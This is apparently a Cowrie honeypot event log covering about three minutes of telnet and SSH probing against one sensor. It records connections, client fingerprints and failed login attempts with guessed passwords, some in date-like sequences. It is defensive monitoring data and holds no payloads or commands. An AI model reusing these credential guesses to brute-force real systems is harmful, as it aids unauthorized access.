{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38394,"dst_ip":"159.203.135.109","dst_port":23,"session":"93f68eadd8e9","protocol":"telnet","message":"New connection: 135.148.14.151:38394 (159.203.135.109:23) [session: 93f68eadd8e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:54:30.785096Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:54:37.728580Z","src_ip":"46.19.67.181","session":"916b036bac76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45202,"dst_ip":"159.203.135.109","dst_port":23,"session":"51fc2de2adec","protocol":"telnet","message":"New connection: 135.148.14.151:45202 (159.203.135.109:23) [session: 51fc2de2adec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:54:45.465180Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46656,"dst_ip":"159.203.135.109","dst_port":23,"session":"605cb606ad7b","protocol":"telnet","message":"New connection: 135.148.14.151:46656 (159.203.135.109:23) [session: 605cb606ad7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:54:48.566246Z"}
{"eventid":"cowrie.session.closed","duration":39.248348236083984,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:54:55.351213Z","src_ip":"135.148.14.151","session":"4beeb672d7f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50322,"dst_ip":"159.203.135.109","dst_port":23,"session":"186e0ec5322f","protocol":"telnet","message":"New connection: 135.148.14.151:50322 (159.203.135.109:23) [session: 186e0ec5322f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:54:57.249037Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51088,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2f446caf711","protocol":"telnet","message":"New connection: 135.148.14.151:51088 (159.203.135.109:23) [session: a2f446caf711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:54:57.773122Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53462,"dst_ip":"159.203.135.109","dst_port":23,"session":"06e8a6a0b270","protocol":"telnet","message":"New connection: 135.148.14.151:53462 (159.203.135.109:23) [session: 06e8a6a0b270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:02.665764Z"}
{"eventid":"cowrie.session.closed","duration":33.639814615249634,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:04.424806Z","src_ip":"135.148.14.151","session":"93f68eadd8e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40974,"dst_ip":"159.203.135.109","dst_port":23,"session":"99cd68d871d4","protocol":"telnet","message":"New connection: 135.148.14.151:40974 (159.203.135.109:23) [session: 99cd68d871d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:08.585235Z"}
{"eventid":"cowrie.session.closed","duration":0.0068378448486328125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:08.591983Z","src_ip":"135.148.14.151","session":"99cd68d871d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.307687282562256,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:22.772744Z","src_ip":"135.148.14.151","session":"51fc2de2adec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34974,"dst_ip":"159.203.135.109","dst_port":23,"session":"13b8aa8cd901","protocol":"telnet","message":"New connection: 135.148.14.151:34974 (159.203.135.109:23) [session: 13b8aa8cd901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:24.155165Z"}
{"eventid":"cowrie.session.closed","duration":42.26627278327942,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:30.832418Z","src_ip":"135.148.14.151","session":"605cb606ad7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.95566153526306,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:32.728693Z","src_ip":"135.148.14.151","session":"a2f446caf711","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.01393675804138,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:33.262882Z","src_ip":"135.148.14.151","session":"186e0ec5322f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39818,"dst_ip":"159.203.135.109","dst_port":23,"session":"47569e2401d3","protocol":"telnet","message":"New connection: 135.148.14.151:39818 (159.203.135.109:23) [session: 47569e2401d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:33.711161Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36802,"dst_ip":"159.203.135.109","dst_port":22,"session":"4633a9c83eaf","protocol":"ssh","message":"New connection: 103.176.20.57:36802 (159.203.135.109:22) [session: 4633a9c83eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:41.453859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:41.459167Z","src_ip":"103.176.20.57","session":"4633a9c83eaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:41.703961Z","src_ip":"103.176.20.57","session":"4633a9c83eaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.561750173568726,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:42.227369Z","src_ip":"135.148.14.151","session":"06e8a6a0b270","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"mama1961","message":"login attempt [root/mama1961] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:42.438760Z","src_ip":"103.176.20.57","session":"4633a9c83eaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:43.685502Z","src_ip":"103.176.20.57","session":"4633a9c83eaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":32600,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7f7e2fd5e44","protocol":"ssh","message":"New connection: 2.57.121.112:32600 (159.203.135.109:22) [session: c7f7e2fd5e44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:44.545761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:44.592996Z","src_ip":"2.57.121.112","session":"c7f7e2fd5e44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:44.693341Z","src_ip":"2.57.121.112","session":"c7f7e2fd5e44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030781","message":"login attempt [admin/030781] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:45.148823Z","src_ip":"2.57.121.112","session":"c7f7e2fd5e44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030780","message":"login attempt [admin/030780] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:46.257354Z","src_ip":"2.57.121.112","session":"c7f7e2fd5e44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030779","message":"login attempt [admin/030779] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:47.365876Z","src_ip":"2.57.121.112","session":"c7f7e2fd5e44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03071998","message":"login attempt [admin/03071998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:48.477873Z","src_ip":"2.57.121.112","session":"c7f7e2fd5e44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46752,"dst_ip":"159.203.135.109","dst_port":23,"session":"42f3e430728a","protocol":"telnet","message":"New connection: 135.148.14.151:46752 (159.203.135.109:23) [session: 42f3e430728a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:48.669120Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03061997","message":"login attempt [admin/03061997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:49.584897Z","src_ip":"2.57.121.112","session":"c7f7e2fd5e44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:50.693089Z","src_ip":"2.57.121.112","session":"c7f7e2fd5e44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.31358599662781,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:55:59.468649Z","src_ip":"135.148.14.151","session":"13b8aa8cd901","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.37869906425476,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:56:09.089721Z","src_ip":"135.148.14.151","session":"47569e2401d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55806,"dst_ip":"159.203.135.109","dst_port":23,"session":"eddb0a4826c9","protocol":"telnet","message":"New connection: 135.148.14.151:55806 (159.203.135.109:23) [session: eddb0a4826c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:56:11.987776Z"}
{"eventid":"cowrie.session.closed","duration":40.795353412628174,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:56:29.464348Z","src_ip":"135.148.14.151","session":"42f3e430728a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.316561460494995,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:56:47.304022Z","src_ip":"135.148.14.151","session":"eddb0a4826c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":48220,"dst_ip":"159.203.135.109","dst_port":22,"session":"66eb9afe2e9e","protocol":"ssh","message":"New connection: 193.37.70.224:48220 (159.203.135.109:22) [session: 66eb9afe2e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:56:55.440347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:56:55.445358Z","src_ip":"193.37.70.224","session":"66eb9afe2e9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:56:55.540432Z","src_ip":"193.37.70.224","session":"66eb9afe2e9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23021991","message":"login attempt [root/23021991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:56:55.813888Z","src_ip":"193.37.70.224","session":"66eb9afe2e9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:56:56.907959Z","src_ip":"193.37.70.224","session":"66eb9afe2e9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46286,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d130af4b6e5","protocol":"telnet","message":"New connection: 135.148.14.151:46286 (159.203.135.109:23) [session: 8d130af4b6e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:56:58.297125Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50604,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d1f24188cd1","protocol":"telnet","message":"New connection: 135.148.14.151:50604 (159.203.135.109:23) [session: 6d1f24188cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:57:00.645599Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54530,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e33be753e78","protocol":"telnet","message":"New connection: 135.148.14.151:54530 (159.203.135.109:23) [session: 1e33be753e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:57:08.909240Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":55480,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e81a1336582","protocol":"ssh","message":"New connection: 147.45.197.250:55480 (10.17.0.5:22) [session: 4e81a1336582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:57:09.829121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:57:09.834257Z","src_ip":"147.45.197.250","session":"4e81a1336582","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:57:09.927716Z","src_ip":"147.45.197.250","session":"4e81a1336582","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"16121991","message":"login attempt [root/16121991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:57:10.209325Z","src_ip":"147.45.197.250","session":"4e81a1336582","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:57:11.306298Z","src_ip":"147.45.197.250","session":"4e81a1336582","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57346,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8d1763a29cf","protocol":"telnet","message":"New connection: 135.148.14.151:57346 (159.203.135.109:23) [session: e8d1763a29cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:57:20.780752Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":50048,"dst_ip":"159.203.135.109","dst_port":22,"session":"871bc13688c2","protocol":"ssh","message":"New connection: 103.15.222.183:50048 (159.203.135.109:22) [session: 871bc13688c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:57:22.164604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:57:22.169886Z","src_ip":"103.15.222.183","session":"871bc13688c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:57:22.420365Z","src_ip":"103.15.222.183","session":"871bc13688c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"192837465a","message":"login attempt [root/192837465a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:57:23.185994Z","src_ip":"103.15.222.183","session":"871bc13688c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:57:24.438155Z","src_ip":"103.15.222.183","session":"871bc13688c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.22309350967407,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:57:31.520094Z","src_ip":"135.148.14.151","session":"8d130af4b6e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.879146575927734,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:57:37.524643Z","src_ip":"135.148.14.151","session":"6d1f24188cd1","protocol":"telnet"}
